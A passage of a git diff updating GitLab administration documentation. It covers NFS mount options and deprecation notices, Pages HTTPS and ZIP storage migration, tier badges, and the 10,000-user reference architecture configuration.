`negative` cache results. Negative cache results cause problems with Git. Specifically, a `git push` can fail to register uniformly across all NFS clients. The negative cache causes the clients to 'remember' that the files did not exist previously. | `hard` | Instead of `soft`. [Further details](#soft-mount-option). +| `cto` | `cto` is the default option, which you should use. Do not use `nocto`. [Further details](#nocto-mount-option). +| `_netdev` | Wait to mount filesystem until network is online. See also the [`high_availability['mountpoint']`](https://docs.gitlab.com/omnibus/settings/configuration.html#only-start-omnibus-gitlab-services-after-a-given-file-system-is-mounted) option. #### `soft` mount option @@ -223,6 +227,25 @@ the mount point. Use `SIGKILL` (`kill -9`) to deal with hung processes. The `intr` option [stopped working in the 2.6 kernel](https://access.redhat.com/solutions/157873). +#### `nocto` mount option + +Do not use `nocto`. Instead, use `cto`, which is the default. + +When using `nocto`, the dentry cache is always used, up to `acdirmax` seconds (attribute cache time) from the time it's created. + +This results in stale dentry cache issues with multiple clients, where each client can see a different (cached) +version of a directory. + +From the [Linux man page](https://linux.die.net/man/5/nfs), the important parts: + +> If the nocto option is specified, the client uses a non-standard heuristic to determine when files on the server have changed. +> +> Using the nocto option may improve performance for read-only mounts, but should be used only if the data on the server changes only occasionally. + +We have noticed this behavior in an issue about [refs not found after a push](https://gitlab.com/gitlab-org/gitlab/-/issues/326066), +where newly added loose refs can be seen as missing on a different client with a local dentry cache, as +[described in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326066#note_539436931). + ### A single NFS mount It's recommended to nest all GitLab data directories within a mount, that allows automatic @@ -346,12 +369,18 @@ sudo ufw allow from <client_ip_address> to any port nfs ### Upgrade to Gitaly Cluster or disable caching if experiencing data loss WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0, -support for NFS for Git repositories is scheduled to be removed. Upgrade to -[Gitaly Cluster](gitaly/praefect.md) as soon as possible. +From GitLab 13.0, using NFS for Git repositories is deprecated. +As of GitLab 14.0, NFS-related issues with Gitaly will no longer be addressed. Read +more about [Gitaly and NFS deprecation](gitaly/index.md#nfs-deprecation-notice). Customers and users have reported data loss on high-traffic repositories when using NFS for Git repositories. -For example, we have seen [inconsistent updates after a push](https://gitlab.com/gitlab-org/gitaly/-/issues/2589). The problem may be partially mitigated by adjusting caching using the following NFS client mount options: +For example, we have seen: + +- [Inconsistent updates after a push](https://gitlab.com/gitlab-org/gitaly/-/issues/2589). +- `git ls-remote` [returning the wrong (or no branches)](https://gitlab.com/gitlab-org/gitaly/-/issues/3083) +causing Jenkins to intermittently re-run all pipelines for a repository. + +The problem may be partially mitigated by adjusting caching using the following NFS client mount options: | Setting | Description | | ------- | ----------- | @@ -362,7 +391,7 @@ For example, we have seen [inconsistent updates after a push](https://gitlab.com WARNING: The `actimeo=0` and `noac` options both result in a significant reduction in performance, possibly leading to timeouts. You may be able to avoid timeouts and data loss using `actimeo=0` and `lookupcache=positive` _without_ `noac`, however -we expect the performance reduction will still be significant. As noted above, we strongly recommend upgrading to +we expect the performance reduction will still be significant. Upgrade to [Gitaly Cluster](gitaly/praefect.md) as soon as possible. ### Avoid using cloud-based file systems diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md index d07afb3bb14..88e3369e25e 100644 --- a/doc/administration/operations/extra_sidekiq_processes.md +++ b/doc/administration/operations/extra_sidekiq_processes.md @@ -75,7 +75,7 @@ To start multiple processes: When `sidekiq-cluster` is only running on a single node, make sure that at least one process is running on all queues using `*`. This means a process will - automatically pick up jobs in queues created in the future. + This includes queues that have dedicated processes. If `sidekiq-cluster` is running on more than one node, you can also use [`--negate`](#negate-settings) and list all the queues that are already being diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index fc39d8e2074..fba20da9aea 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -28,7 +28,7 @@ For more information, see: querying and scheduling snippet repository moves. - [The API documentation](../../api/group_repository_storage_moves.md) details the endpoints for querying and scheduling group repository moves **(PREMIUM SELF)**. -- [Migrate existing repositories to Gitaly Cluster](../gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster). +- [Migrate to Gitaly Cluster](../gitaly/praefect.md#migrate-to-gitaly-cluster). ## Migrating to another GitLab instance diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 2f6b6a2f629..853a1884821 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -4,11 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Container Registry administration - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4040) in GitLab 8.8. -> - Container Registry manifest `v1` support was added in GitLab 8.9 to support -> Docker versions earlier than 1.10. +# GitLab Container Registry administration **(FREE SELF)** With the GitLab Container Registry, every project can have its own space to store Docker images. @@ -832,8 +828,6 @@ no longer directly accessible via the `:latest` tag. ### Recycling unused tags -> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/987) in Omnibus GitLab 8.12. - Before you run the built-in command, note the following: - The built-in command stops the registry before it starts the garbage collection. @@ -910,8 +904,6 @@ When the command is used without the `-m` flag, the Container Registry only remo ### Performing garbage collection without downtime -> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/764) in GitLab 8.8. - You can perform garbage collection without stopping the Container Registry by putting it in read-only mode and by not using the built-in command. On large instances this could require Container Registry to be in read-only mode for a while. diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md index 720734bf344..b454728cc8b 100644 --- a/doc/administration/packages/dependency_proxy.md +++ b/doc/administration/packages/dependency_proxy.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Dependency Proxy administration +# GitLab Dependency Proxy administration **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.11. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6. diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md index 012afd6a419..5ddf47d9b33 100644 --- a/doc/administration/packages/index.md +++ b/doc/administration/packages/index.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Package Registry administration +# GitLab Package Registry administration **(FREE SELF)** GitLab Packages allows organizations to use GitLab as a private repository for a variety of common package managers. Users are able to build and publish diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 058445f00be..d04688dab7a 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -171,7 +171,7 @@ URL scheme: `https://<namespace>.example.io/<project_slug>` NGINX proxies all requests to the daemon. Pages daemon doesn't listen to the outside world. -1. Place the certificate and key inside `/etc/gitlab/ssl` +1. Place the `example.io` certificate and key inside `/etc/gitlab/ssl`. 1. In `/etc/gitlab/gitlab.rb` specify the following configuration: ```ruby @@ -180,7 +180,7 @@ outside world. pages_nginx['redirect_http_to_https'] = true ``` -1. If you haven’t named your certificate and key `example.io.crt` and `example.io.key` +1. If you haven't named your certificate and key `example.io.crt` and `example.io.key` then you'll need to also add the full paths as shown below: ```ruby @@ -189,6 +189,9 @@ then you'll need to also add the full paths as shown below: ``` 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages +[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +to use the HTTPS protocol. WARNING: Multiple wildcards for one instance is not supported. Only one wildcard per instance can be assigned. @@ -303,7 +306,7 @@ In that case, the Pages daemon is running, NGINX still proxies requests to the daemon but the daemon is also able to receive requests from the outside world. Custom domains are supported, but no TLS. -1. Edit `/etc/gitlab/gitlab.rb`: +1. In `/etc/gitlab/gitlab.rb` specify the following configuration: ```ruby pages_external_url "http://example.io" @@ -334,23 +337,35 @@ In that case, the Pages daemon is running, NGINX still proxies requests to the daemon but the daemon is also able to receive requests from the outside world. Custom domains and TLS are supported. -1. Edit `/etc/gitlab/gitlab.rb`: +1. Place the `example.io` certificate and key inside `/etc/gitlab/ssl`. +1. In `/etc/gitlab/gitlab.rb` specify the following configuration: ```ruby pages_external_url "https://example.io" nginx['listen_addresses'] = ['192.0.2.1'] pages_nginx['enable'] = false - gitlab_pages['cert'] = "/etc/gitlab/ssl/example.io.crt" - gitlab_pages['cert_key'] = "/etc/gitlab/ssl/example.io.key" gitlab_pages['external_http'] = ['192.0.2.2:80', '[2001:db8::2]:80'] gitlab_pages['external_https'] = ['192.0.2.2:443', '[2001:db8::2]:443'] + # Redirect pages from HTTP to HTTPS + gitlab_pages['redirect_http'] = true ``` where `192.0.2.1` is the primary IP address that GitLab is listening to and `192.0.2.2` and `2001:db8::2` are the secondary IPs where the GitLab Pages daemon listens on. If you don't have IPv6, you can omit the IPv6 address. +1. If you haven't named your certificate and key `example.io.crt` and `example.io.key` respectively, +then you'll need to also add the full paths as shown below: + + ```ruby + gitlab_pages['cert'] = "/etc/gitlab/ssl/example.io.crt" + gitlab_pages['cert_key'] = "/etc/gitlab/ssl/example.io.key" + ``` + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages +[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +to use the HTTPS protocol. ### Custom domain verification @@ -472,7 +487,7 @@ internet connectivity is gated by a proxy. To use a proxy for GitLab Pages: ### Using a custom Certificate Authority (CA) When using certificates issued by a custom CA, [Access Control](../../user/project/pages/pages_access_control.md#gitlab-pages-access-control) and -the [online view of HTML job artifacts](../../ci/pipelines/job_artifacts.md#browsing-artifacts) +the [online view of HTML job artifacts](../../ci/pipelines/job_artifacts.md#download-job-artifacts) fails to work if the custom CA is not recognized. This usually results in this error: @@ -600,8 +615,9 @@ the below steps to do a no downtime transfer to a new storage location. ## Configure listener for reverse proxy requests -Follow the steps below to configure the proxy listener of GitLab Pages. [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in -Omnibus GitLab 11.1. +> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in Omnibus GitLab 11.1. + +Follow the steps below to configure the proxy listener of GitLab Pages. 1. By default the listener is configured to listen for requests on `localhost:8090`. @@ -631,6 +647,9 @@ The default is 100MB. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16610) in GitLab 12.7. +NOTE: +Only GitLab admin users will be able to view and override the **Maximum size of Pages** setting. + To override the global maximum pages size for a specific project: 1. Go to your project's **Settings > Pages** page. @@ -752,7 +771,7 @@ The default value for Omnibus installations is `nil`. If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration). -On large GitLab instances, using the API-based configuration will significantly improve the pages daemon startup time, as there is no need to load all custom domains configuration into memory. +On large GitLab instances, using the API-based configuration will significantly improve the pages daemon startup time, as there is no need to load all custom domains configuration into memory. For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/). @@ -815,7 +834,7 @@ or persistent errors, or the Pages Daemon serving old content. NOTE: Expiry, interval and timeout flags use [Golang's duration formatting](https://golang.org/pkg/time/#ParseDuration). A duration string is a possibly signed sequence of decimal numbers, -each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m". +each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m". Valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h". Examples: @@ -919,6 +938,89 @@ In installations from source: 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect. +## ZIP storage + +In GitLab 14.0 the underlaying storage format of GitLab Pages is changing from +files stored directly in disk to a single ZIP archive per project. + +These ZIP archives can be stored either locally on disk storage or on the [object storage](#using-object-storage) if it is configured. + +[Starting from GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/245308) ZIP archives are stored every time pages site is updated. + +### Migrate legacy storage to ZIP storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59003) in GitLab 13.11. + +GitLab will [try to automatically migrate](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54578) the old storage format to the new ZIP-based one when you upgrade to GitLab 13.11 or further. +However, some projects may fail to be migrated for different reasons. +To verify that all projects have been migrated successfully, you can manually run the migration: + +```shell +gitlab-rake gitlab:pages:migrate_legacy_storage +``` + +It's safe to interrupt this task and run it multiple times. + +There are two most common problems this task can report: + +- `Missing public directory` error: + + ```txt + E, [2021-04-09T13:11:52.534768 #911919] ERROR -- : project_id: 1 /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test failed to be migrated in 0.07 seconds: Archive not created. Missing public directory in /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test + ``` + + In this case, you should verify that these projects don't have pages deployed, and re-run the migration with an additional flag to mark those projects as not deployed with GitLab Pages: + + ```shell + sudo PAGES_MIGRATION_MARK_PROJECTS_AS_NOT_DEPLOYED=true gitlab-rake gitlab:pages:migrate_legacy_storage + ``` + +- File `is invalid` error: + + ```txt + E, [2021-04-09T14:43:05.821767 #923322] ERROR -- : project_id: 1 /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test failed to be migrated: /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test/public/link is invalid, input_dir: /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test + ``` + + This error indicates invalid files on disk storage, most commonly symlinks leading outside of the `public` directory. + You can manually remove these files, or just ignore them during migration: + + ```shell + sudo PAGES_MIGRATION_IGNORE_INVALID_ENTRIES=true gitlab-rake gitlab:pages:migrate_legacy_storage + ``` + +### Rolling back ZIP migration + +If you find that migrated data is invalid, you can remove all migrated data by running: + +```shell +sudo gitlab-rake gitlab:pages:clean_migrated_zip_storage +``` + +This will not remove any data from the legacy disk storage and the GitLab Pages daemon will automatically fallback +to using that. + +### Migrate Pages deployments to object storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325285) in GitLab 13.11 + +Existing Pages deployments objects (which store [ZIP archives](#zip-storage)) can similarly be +migrated to [object storage](#using-object-storage), if +you've been having them stored locally. + +Migrate your existing Pages deployments from local storage to object storage: + +```shell +sudo gitlab-rails gitlab:pages:deployments:migrate_to_object_storage +``` + +### Rolling Pages deployments back to local storage + +After the migration to object storage is performed, you can choose to revert your Pages deployments back to local storage: + +```shell +sudo gitlab-rails gitlab:pages:deployments:migrate_to_local +``` + ## Backup GitLab Pages are part of the [regular backup](../../raketasks/backup_restore.md), so there is no separate backup to configure. @@ -1096,6 +1198,8 @@ If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still u 1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace) all projects you need to use Pages with into a single group namespace, for example `pages`. 1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`. +1. Configure `pages_external_url http://example.io/` in your `gitlab.rb` file. + Omit the group namespace here, because it will automatically be prepended by GitLab. ### Pages daemon fails with permission denied errors @@ -1114,3 +1218,8 @@ gitlab_pages['env'] = {'TMPDIR' => '<new_tmp_path>'} Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab with `sudo gitlab-ctl restart`. + +### `The redirect URI included is not valid.` when using Pages Access Control + +Verify that the **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +is using the protocol (HTTP or HTTPS) that `pages_external_url` is configured to use. diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index d1a8b703860..e1b54e11a1f 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -407,7 +407,7 @@ Pages access control is disabled by default. To enable it: ``` 1. [Restart GitLab](../restart_gitlab.md#installations-from-source). -1. Create a new [system OAuth application](../../integration/oauth_provider.md#add-an-application-through-the-profile). +1. Create a new [system OAuth application](../../integration/oauth_provider.md#user-owned-applications). This should be called `GitLab Pages` and have a `Redirect URL` of `https://projects.example.io/auth`. It does not need to be a "trusted" application, but it does need the `api` scope. diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md index a9a38ce1beb..7e25bd69539 100644 --- a/doc/administration/postgresql/replication_and_failover.md +++ b/doc/administration/postgresql/replication_and_failover.md @@ -6,8 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)** -This document focuses on configuration supported with [GitLab Premium](https://about.gitlab.com/pricing/), using the Omnibus GitLab package. -If you're a Community Edition or Starter user, consider using a cloud hosted solution. +If you're a Free user of GitLab self-managed, consider using a cloud-hosted solution. This document doesn't cover installations from source. If a setup with replication and failover isn't what you were looking for, see diff --git a/doc/administration/redis/index.md b/doc/administration/redis/index.md index 30618075c8f..23d13491c75 100644 --- a/doc/administration/redis/index.md +++ b/doc/administration/redis/index.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Configuring Redis for scaling +# Configuring Redis for scaling **(FREE SELF)** Based on your infrastructure setup and how you have installed GitLab, there are multiple ways to configure Redis. diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md index 1b2e93cccd9..2716d9bba37 100644 --- a/doc/administration/redis/replication_and_failover_external.md +++ b/doc/administration/redis/replication_and_failover_external.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Redis replication and failover providing your own instance **(FREE SELF)** -If you’re hosting GitLab on a cloud provider, you can optionally use a managed +If you're hosting GitLab on a cloud provider, you can optionally use a managed service for Redis. For example, AWS offers ElastiCache that runs Redis. Alternatively, you may opt to manage your own Redis instance separate from the diff --git a/doc/administration/redis/troubleshooting.md b/doc/administration/redis/troubleshooting.md index 144660c50ea..0c1046ca22d 100644 --- a/doc/administration/redis/troubleshooting.md +++ b/doc/administration/redis/troubleshooting.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Troubleshooting Redis +# Troubleshooting Redis **(FREE SELF)** There are a lot of moving parts that needs to be taken care carefully in order for the HA setup to work as expected. diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index a51641f661f..97af1fe8d3c 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -15,25 +15,31 @@ full list of reference architectures, see > - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA) > - **Test requests per second (RPS) rates:** API: 200 RPS, Web: 20 RPS, Git (Pull): 20 RPS, Git (Push): 4 RPS -| Service | Nodes | Configuration | GCP | AWS | Azure | -|--------------------------------------------|-------------|-------------------------|-----------------|-------------|----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | -| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | -| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Service | Nodes | Configuration | GCP | AWS | Azure | +|--------------------------------------------|-------------|-------------------------|------------------|--------------|-----------| +| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` | +| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis Sentinel - Cache** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | `t3.small` | `B1MS` | +| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | `t3.small` | `B1MS` | +| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | `m5.4xlarge` | `D16s v3` | +| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` | +| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +| Object storage | n/a | n/a | n/a | n/a | n/a | +| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | + +NOTE: +Components marked with * can be optionally run on reputable +third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. +Components marked with ** can be optionally run on reputable +third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. ```plantuml @startuml 10k @@ -210,11 +216,12 @@ The following list includes descriptions of each server and its assigned IP: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -387,6 +394,8 @@ backend praefect ``` Refer to your preferred Load Balancer's documentation for further guidance. +Also ensure that the routing methods used are distributing calls evenly across +all nodes. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -433,7 +442,7 @@ To configure Consul: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -557,7 +566,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -853,7 +862,7 @@ a node and change its status from primary to replica (and vice versa). node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -920,7 +929,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1052,7 +1061,7 @@ To configure the Sentinel Cache server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1117,13 +1126,8 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - ``` -1. Only the primary GitLab application server should handle migrations. To - prevent database migrations from running on upgrade, add the following - configuration to your `/etc/gitlab/gitlab.rb` file: - - ```ruby + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1184,7 +1188,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1316,7 +1320,7 @@ To configure the Sentinel Queues server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1401,6 +1405,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. postgresql['listen_address'] = '0.0.0.0' postgresql['max_connections'] = 200 + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1546,7 +1551,8 @@ To configure the Praefect nodes, on each one: praefect['enable'] = true praefect['listen_addr'] = '0.0.0.0:2305' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically + praefect['auto_migrate'] = false gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1670,8 +1676,7 @@ On each node: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -1905,6 +1910,7 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ####################################### @@ -2015,6 +2021,7 @@ On each node perform the following: gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ## Redis connection details @@ -2210,7 +2217,6 @@ To configure the Monitoring node: external_url 'http://gitlab.example.com' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -2244,6 +2250,9 @@ To configure the Monitoring node: consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2338,10 +2347,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -2349,29 +2358,145 @@ as soon as possible. </a> </div> -## Cloud Native Deployment (optional) +## Cloud Native Hybrid reference architecture with Helm Charts (alternative) + +As an alternative approach, you can also run select components of GitLab as Cloud Native +in Kubernetes via our official 